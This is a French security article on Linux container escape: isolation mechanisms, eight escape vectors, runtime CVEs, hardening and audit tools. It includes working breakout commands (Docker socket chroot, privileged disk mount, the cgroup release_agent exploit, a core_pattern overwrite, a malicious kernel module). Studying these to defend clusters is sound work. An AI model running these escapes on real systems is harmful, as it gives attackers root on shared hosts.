Le container escape (évasion de conteneur) désigne toute technique permettant à un attaquant ayant compromis un container de prendre le contrôle de l'hôte ou d'accéder à des ressources extérieures à son périmètre d'isolation. À la différence des machines virtuelles isolées par un hypervisor matériel, les containers Linux partagent le kernel hôte avec tous les autres containers et avec le système hôte lui-même. Cette isolation logique repose sur trois mécanismes kernel — namespaces, cgroups et capabilities — combinés à des contrôles complémentaires (seccomp, AppArmor ou SELinux). Les vecteurs d'escape exploitent soit des configurations laxistes (Docker socket monté, flag --privileged, capabilities excessives, hostPath volume sur le filesystem hôte, hostNetwork ou hostPID), soit des CVE dans le runtime container (runc CVE-2019-5736, CVE-2024-21626 Leaky Vessels, BuildKit CVE-2024-23651/2/3, NVIDIA Container Toolkit CVE-2024-0132). Cet article détaille les 8 vecteurs d'évasion les plus exploités, les CVE runtime majeures 2019-2024, les commandes de POC permettant de valider l'exposition, les défenses par couche (Pod Security Standards, capabilities drop, seccomp, runtime alternatif gVisor ou Kata) et les outils d'audit (amicontained, deepce, peirates, kube-hunter).
Le modèle d'isolation Linux containers
Comprendre les vecteurs d'évasion exige de comprendre les briques d'isolation. Trois mécanismes kernel structurent l'isolation d'un container Linux.
Namespaces
Les Linux namespaces fournissent une vue isolée des ressources kernel. Un container utilise typiquement 7 namespaces :
| Namespace | Isolation | Vecteur d'escape si partagé |
|---|---|---|
| PID | Processus visibles | hostPID = vue de tous les processus hôte |
| NET | Interfaces réseau, ports | hostNetwork = accès réseau hôte direct |
| MNT | Points de montage | Mount partagé permet écriture sur le hôte |
| IPC | SysV IPC, POSIX message queues | hostIPC = communication avec processus hôte |
| UTS | Hostname, NIS domain | Impact mineur seul |
| USER | Mapping UID/GID | User namespace désactivé = root container = root hôte (sauf userns-remap) |
| Cgroup | Vue cgroup | Mineur isolément |
Cgroups (Control Groups)
Les cgroups limitent les ressources (CPU, mémoire, IO, devices). Deux versions coexistent : cgroups v1 (legacy) et cgroups v2 (unifié, requis pour features récentes). Le passage v1 vers v2 est en cours sur les distributions modernes (Ubuntu 22.04+ par défaut sur v2, RHEL 9+ sur v2).
L'historique de cgroups v1 inclut une feature release_agent exploitable pour escape (CVE-2022-0492 détaillée plus bas). Cgroups v2 a supprimé ce vecteur.
Capabilities Linux
Les capabilities décomposent les privilèges root en 41 capacités granulaires (Linux 6.10+). Un container par défaut reçoit un sous-ensemble réduit (~14 capabilities). Plusieurs capabilities individuelles sont équivalentes à root pour qui sait les exploiter.
| Capability | Utilité légitime | Vecteur d'escape |
|---|---|---|
| CAP_SYS_ADMIN | Mount, BPF, namespaces | Le « nouveau root » : mount cgroup release_agent, eBPF, etc. |
| CAP_SYS_PTRACE | Debug d'autres processus | Inject code dans un processus hôte si hostPID partagé |
| CAP_SYS_MODULE | Insertion de modules kernel | Charge un module malveillant qui prend l'hôte |
| CAP_DAC_READ_SEARCH | Lecture de tout fichier | Lecture de /etc/shadow, /root/.ssh/* via host filesystem mount |
| CAP_NET_ADMIN | Configuration réseau | Sniffing trafic hôte si hostNetwork partagé |
| CAP_SYS_RESOURCE | Contournement limites cgroup | DoS de l'hôte par épuisement |
| CAP_SYS_RAWIO | I/O direct sur hardware | Lecture mémoire kernel via /dev/mem |
| CAP_AUDIT_WRITE | Écriture audit log | Pollue les journaux audit |
| CAP_NET_RAW | Sockets raw | Sniffing réseau, DDoS spoofé |
Les 8 vecteurs d'évasion les plus exploités
Vecteurs ordonnés par fréquence d'observation en pentest et en incidents documentés.
Vecteur 1 — Docker socket monté
Le pattern le plus courant et le plus dangereux. Un container avec /var/run/docker.sock monté en volume peut commander le Docker daemon de l'hôte (root, sans authentification).
# Container avec socket monté (anti-pattern fréquent en CI)
docker run -it --rm \
-v /var/run/docker.sock:/var/run/docker.sock \
alpine sh
# Depuis l'intérieur du container
apk add docker-cli
# Création d'un nouveau container privileged qui mount le filesystem hôte
docker run -it --privileged --pid=host \
-v /:/host alpine \
chroot /host
# À ce stade, on est root sur l'hôte
hostname
cat /etc/shadowDéfense : ne jamais monter le Docker socket. Pour les pipelines CI qui ont besoin de builder des images, utiliser Buildah ou Kaniko (rootless), BuildKit en mode daemonless, ou un builder externe (GitHub Actions hosted runners, GitLab SaaS runners).
Vecteur 2 — Container privileged
Le flag --privileged ou securityContext.privileged: true désactive presque toute l'isolation : toutes les capabilities, accès à tous les devices, pas de seccomp, pas d'AppArmor.
# Container privileged
docker run -it --privileged alpine sh
# Découverte des devices hôte accessibles
ls /dev/
# Mount du disque physique de l'hôte (souvent /dev/sda1 ou /dev/nvme0n1p1)
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host
# On est root sur l'hôteDéfense : interdire privileged: true via Pod Security Standards (profil baseline ou restricted), Kyverno ou OPA Gatekeeper. Aucun Pod production ne devrait être privileged.
Vecteur 3 — Capabilities dangereuses
CAP_SYS_ADMIN est la capability la plus exploitable, équivalent au root déguisé.
# Container avec CAP_SYS_ADMIN ajouté
docker run -it --rm \
--cap-add=SYS_ADMIN \
--security-opt=apparmor=unconfined \
alpine sh
# Mount cgroup v1 et exploitation release_agent (CVE-2022-0492 si non patché)
mkdir /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "id > $host_path/output" >> /cmd
chmod +x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
sleep 1
cat /output
# uid=0(root) gid=0(root) groups=0(root)Défense : --cap-drop ALL puis ajouter uniquement les capabilities nécessaires. La majorité des applications n'ont besoin d'aucune capability ajoutée par rapport au défaut.
Vecteur 4 — hostPath volume
Monter un répertoire de l'hôte dans le container donne accès à des fichiers sensibles ou permet d'écrire des fichiers exécutés ensuite par l'hôte.
# Pod vulnérable : hostPath sur racine
apiVersion: v1
kind: Pod
metadata:
name: hostpath-bad
spec:
containers:
- name: app
image: alpine
command: ["sleep", "infinity"]
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: /Une fois le Pod démarré, l'attaquant peut chroot dans /host pour exécuter des commandes en tant que root sur le node. Ou écrire dans /host/etc/cron.d/ pour persistance.
Défense : interdire les hostPath en production via Pod Security Standards (profil baseline). Si vraiment nécessaire (cas DaemonSet de monitoring), restreindre à un sous-chemin précis et en read-only.
Vecteur 5 — hostPID, hostNetwork, hostIPC
Partager les namespaces hôte donne accès aux ressources hôte.
apiVersion: v1
kind: Pod
metadata:
name: host-namespaces-bad
spec:
hostPID: true # vue de tous les processus du node
hostNetwork: true # interfaces réseau du node
hostIPC: true # IPC du node
containers:
- name: attacker
image: alpine
command: ["sleep", "infinity"]Avec hostPID, l'attaquant peut lire /proc/1/environ pour voir les variables d'environnement du processus init du node, ou utiliser nsenter pour entrer dans les namespaces d'un autre processus hôte.
Défense : interdire les host* namespaces via Pod Security Standards baseline. Cas légitimes très rares (debug, profiling système).
Vecteur 6 — Mount /proc accessible en écriture
Si /proc est mountable en écriture (rare mais possible), des fichiers comme /proc/sys/kernel/core_pattern ou /proc/sysrq-trigger permettent une exécution côté hôte.
# Si /proc/sys/kernel/core_pattern est writable
echo '|/usr/bin/touch /tmp/pwned' > /proc/sys/kernel/core_pattern
# Provoquer un crash → exécution du commandVecteur 7 — Kernel modules exposed
CAP_SYS_MODULE permet de charger un module kernel arbitraire, ce qui équivaut à root hôte instantané.
# Container avec CAP_SYS_MODULE
cat > /tmp/payload.c <<'EOF'
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kmod.h>
static int __init init_pwn(void) {
char *envp[] = { "HOME=/", NULL };
char *argv[] = { "/bin/sh", "-c", "echo pwned > /tmp/owned", NULL };
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
return 0;
}
static void __exit exit_pwn(void) { }
module_init(init_pwn);
module_exit(exit_pwn);
MODULE_LICENSE("GPL");
EOF
# Build et insertion (dans environnement avec headers kernel)
make -C /lib/modules/$(uname -r)/build M=/tmp modules
insmod /tmp/payload.koDéfense : --cap-drop SYS_MODULE (par défaut absent, mais s'assurer qu'il n'est jamais ajouté).
Vecteur 8 — CVE runtime container
Indépendant de toute mauvaise configuration : une CVE dans runc, containerd, BuildKit ou cri-o peut permettre l'évasion depuis un container parfaitement isolé. Cf. section suivante.
CVE runtime majeures 2019-2024
Chronologie des CVE container escape les plus impactantes.
CVE-2019-5736 — runc binary overwrite (février 2019)
CVSS 8.6. Découverte par Adam Iwaniuk et Borys Popławski. Permet à un container malveillant de réécrire le binaire runc sur l'hôte, qui est ensuite exécuté avec privilèges root au prochain docker exec ou démarrage de container. Patch dans runc 1.0.0-rc6.
CVE-2022-0185 — fsconfig heap overflow (janvier 2022)
CVSS 8.4. Heap overflow dans le syscall fsconfig() (legacy mount API), exploitable par un container avec CAP_SYS_ADMIN pour escape. Découverte par Crusaders of Rust. Patch kernel Linux 5.16.2+.
CVE-2022-0492 — cgroups v1 release_agent (mars 2022)
CVSS 7.0. Découverte par William Liu. Le mécanisme release_agent de cgroups v1 permet à un container avec CAP_SYS_ADMIN ou avec accès à un point de mount cgroup d'exécuter une commande en tant que root sur l'hôte. Détaillé dans le vecteur 3 plus haut. Patché par mitigation kernel et par migration vers cgroups v2 qui n'a plus cette feature.
CVE-2022-0811 — cri-o cr8escape (mars 2022)
CVSS 8.8. Découverte par CrowdStrike. Vulnérabilité dans cri-o (runtime utilisé par OpenShift) permettant à tout utilisateur ayant droit de créer un Pod d'exécuter du code en tant que root sur le node via un kernel parameter forgé. Patch cri-o 1.19.6+, 1.20.7+, 1.21.6+, 1.22.3+, 1.23.2+.
CVE-2024-21626 — Leaky Vessels (runc, 31 janvier 2024)
CVSS 8.6. Découverte par Snyk Security Labs. Permet l'évasion via une race condition sur les file descriptors lors de l'exec d'un container. Le runc oubliait de fermer correctement certains fd hérités du parent, qu'un container malveillant pouvait exploiter pour accéder au filesystem hôte. Patch runc 1.1.12+.
CVE-2024-23651, CVE-2024-23652, CVE-2024-23653 — BuildKit (31 janvier 2024)
Trois CVE BuildKit divulguées en même temps que CVE-2024-21626 dans le cadre du Leaky Vessels disclosure de Snyk. CVSS 8.7 à 9.8 selon la CVE. Affectent les builds de containers via BuildKit. Patches BuildKit 0.12.5+, Docker Engine 25.0.2+.
CVE-2024-0132 — NVIDIA Container Toolkit TOCTOU (septembre 2024)
CVSS 9.0. Découverte par Wiz Research. TOCTOU (Time-of-Check Time-of-Use) dans NVIDIA Container Toolkit permet l'évasion de container vers l'hôte sur tout déploiement utilisant des GPU NVIDIA (workloads ML/AI, rendu vidéo, training). Patch NVIDIA Container Toolkit 1.16.2+.
POC pratique : valider l'exposition
Trois commandes utilisables en pentest pour valider rapidement les vecteurs principaux. À utiliser uniquement sur ses propres environnements ou avec autorisation contractuelle écrite (article 323-1 du Code pénal en France).
# 1. Test Docker socket monté
ls -la /var/run/docker.sock 2>/dev/null && \
echo "[!] Docker socket accessible" && \
docker version
# 2. Test capabilities
capsh --print
# Recherche de cap_sys_admin, cap_sys_ptrace, cap_sys_module, cap_dac_read_search
# 3. Test --privileged (via amicontained)
wget https://github.com/genuinetools/amicontained/releases/download/v0.4.9/amicontained-linux-amd64
chmod +x amicontained-linux-amd64
./amicontained-linux-amd64
# Sortie type :
# Container Runtime: docker
# Has Namespaces:
# pid: true
# user: false
# AppArmor Profile: unconfined
# Capabilities:
# BOUNDING -> chown dac_override fowner ...
# Seccomp: filteringPour un audit Kubernetes plus complet :
# kubectl plugin pour identifier les Pods à risque
kubectl get pods --all-namespaces -o json | jq '
.items[] |
select(
.spec.hostPID == true or
.spec.hostNetwork == true or
.spec.hostIPC == true or
(.spec.containers[]? | .securityContext?.privileged == true) or
(.spec.volumes[]? | .hostPath != null)
) |
{namespace: .metadata.namespace, name: .metadata.name}
'Défenses par couche
Empilement de contrôles cumulatifs en 2026.
Couche 1 — Pod Security Standards (Kubernetes)
Trois profils prédéfinis appliqués via Pod Security Admission (depuis Kubernetes 1.25 GA, août 2022).
| Profil | Usage | Restrictions clés |
|---|---|---|
| privileged | Aucune | Aucune restriction (à éviter en prod) |
| baseline | Standard pour la majorité | Pas de hostPath, hostNetwork, hostPID, privileged, capabilities sensibles |
| restricted | Production et sensible | + non-root obligatoire, seccomp RuntimeDefault, drop ALL capabilities |
Application au namespace via labels :
apiVersion: v1
kind: Namespace
metadata:
name: production
labels:
pod-security.kubernetes.io/enforce: restricted
pod-security.kubernetes.io/enforce-version: v1.30
pod-security.kubernetes.io/audit: restricted
pod-security.kubernetes.io/warn: restrictedCouche 2 — securityContext rigoureux
apiVersion: v1
kind: Pod
metadata:
name: hardened
spec:
securityContext:
runAsNonRoot: true
runAsUser: 10001
runAsGroup: 10001
fsGroup: 10001
seccompProfile:
type: RuntimeDefault
containers:
- name: app
image: my-app:v1.0.0@sha256:abc...
securityContext:
allowPrivilegeEscalation: false
privileged: false
readOnlyRootFilesystem: true
capabilities:
drop: ["ALL"]
# add: ["NET_BIND_SERVICE"] # uniquement si vraiment nécessaire
volumeMounts:
- name: tmp
mountPath: /tmp
volumes:
- name: tmp
emptyDir: {}Couche 3 — seccomp profiles
Restriction des syscalls accessibles. RuntimeDefault bloque déjà environ 60 syscalls inutiles ou dangereux (mount, kexec_load, ptrace, etc.). Profile custom pour aller plus loin :
{
"defaultAction": "SCMP_ACT_ERRNO",
"architectures": ["SCMP_ARCH_X86_64"],
"syscalls": [
{
"names": ["read", "write", "openat", "close", "mmap", "munmap",
"rt_sigaction", "rt_sigprocmask", "rt_sigreturn",
"ioctl", "pread64", "pwrite64", "futex", "exit_group"],
"action": "SCMP_ACT_ALLOW"
}
]
}Couche 4 — AppArmor (Ubuntu, Debian) ou SELinux (RHEL, Fedora)
Profils MAC qui restreignent les accès filesystem, network, capabilities au-delà de seccomp.
metadata:
annotations:
container.apparmor.security.beta.kubernetes.io/app: localhost/my-app-profileCouche 5 — Runtime alternatif
Pour les workloads à très forte exigence d'isolation (multi-tenant, code non-fiable, GPU avec exigence stricte) :
- gVisor (Google) : kernel applicatif user-space, isolation supérieure. Performance dégradée 5 à 30 % selon workload.
- Kata Containers : chaque container dans une VM légère (Firecracker ou Cloud Hypervisor). Isolation comparable à VM classique.
apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
name: gvisor
handler: runsc
---
apiVersion: v1
kind: Pod
spec:
runtimeClassName: gvisor
containers:
- name: untrusted-workload
image: external/code:latestCouche 6 — Patch management aggressif
- runc, containerd, cri-o : patcher dans les 7 jours suivant disclosure CVE critique.
- kubelet, kube-apiserver : patcher mensuellement minimum.
- Kernel hôte : suivre les CVE container escape (CVE-2022-0185, CVE-2022-0492) et patcher rapidement.
Couche 7 — Détection runtime (CWPP)
Falco, Tetragon, Sysdig Secure, Aqua Runtime détectent les comportements anormaux : exec inattendu dans un container, accès à /proc/host, écriture dans des paths sensibles, syscalls hors profile.
# Falco rule custom : détection de mount inattendu dans un container
- rule: Container Mount Activity
desc: Détection d'un syscall mount depuis un container
condition: >
container and
evt.type = mount and
not container.image.repository in (allowed_mount_images)
output: >
Mount syscall in container
(user=%user.name container=%container.name image=%container.image.repository
cmd=%proc.cmdline)
priority: WARNING
tags: [container, escape, mitre_t1611]Outils d'audit et pentest
Stack open source pour valider la posture container security en pentest interne.
| Outil | Cible | Usage |
|---|---|---|
| amicontained | Container Linux | Énumération depuis l'intérieur (caps, namespaces, seccomp) |
| deepce | Docker / Linux | Tente automatiquement plusieurs vecteurs d'escape |
| peirates | Kubernetes | Pentest complet d'un cluster depuis un Pod compromis |
| kube-hunter | Kubernetes | Découverte et test des Kubernetes attack surfaces |
| kube-bench | Kubernetes | Audit conformité CIS Kubernetes Benchmark |
| Trail of Bits container-escape-poc | Docker, K8s | POCs académiques de vecteurs d'escape |
| BadKubelet | Kubelet | Test attaques sur kubelet API |
Pour les pentests offensifs autorisés : commencer par amicontained pour cartographier la posture, puis deepce pour tester les vecteurs Docker, puis peirates pour les vecteurs Kubernetes-spécifiques. Documenter chaque commande, chaque sortie, chaque exploitation réussie pour le rapport.
Points clés à retenir
- L'isolation Linux containers repose sur namespaces, cgroups et capabilities. Cette isolation est partielle : le kernel est partagé. Aucune n'égale l'isolation matérielle d'une VM.
- Les 8 vecteurs d'évasion les plus exploités : Docker socket monté, --privileged, capabilities dangereuses (CAP_SYS_ADMIN en tête), hostPath volume, hostPID/hostNetwork/hostIPC, /proc writable, CAP_SYS_MODULE, CVE runtime.
- CVE runtime majeures à connaître : CVE-2019-5736 (runc), CVE-2022-0492 (cgroups v1), CVE-2022-0811 (cri-o), CVE-2024-21626 Leaky Vessels (runc), CVE-2024-23651/2/3 (BuildKit), CVE-2024-0132 (NVIDIA Container Toolkit).
- Défenses cumulatives : Pod Security Standards restricted, securityContext durci, seccomp RuntimeDefault, AppArmor ou SELinux, runtime alternatif (gVisor, Kata) pour workloads sensibles, patch management runtime, détection CWPP.
- La majorité des escapes proviennent de mauvaises configurations exploitables (Docker socket, privileged, hostPath) plutôt que de CVE. Auditer la posture (Pod Security Admission, kube-bench, amicontained, peirates) prime sur le patch management seul.
Pour aller plus loin
- Sécurité Kubernetes : les bases - durcissement complet des clusters Kubernetes incluant container security.
- IAM expliqué simplement - couche identités complémentaire à l'isolation container.
- Secrets management cloud - éviter les secrets dans les images container, première cible d'un attaquant après escape.
- Sécurité des images de conteneurs - prévention en amont via build d'images durcies.





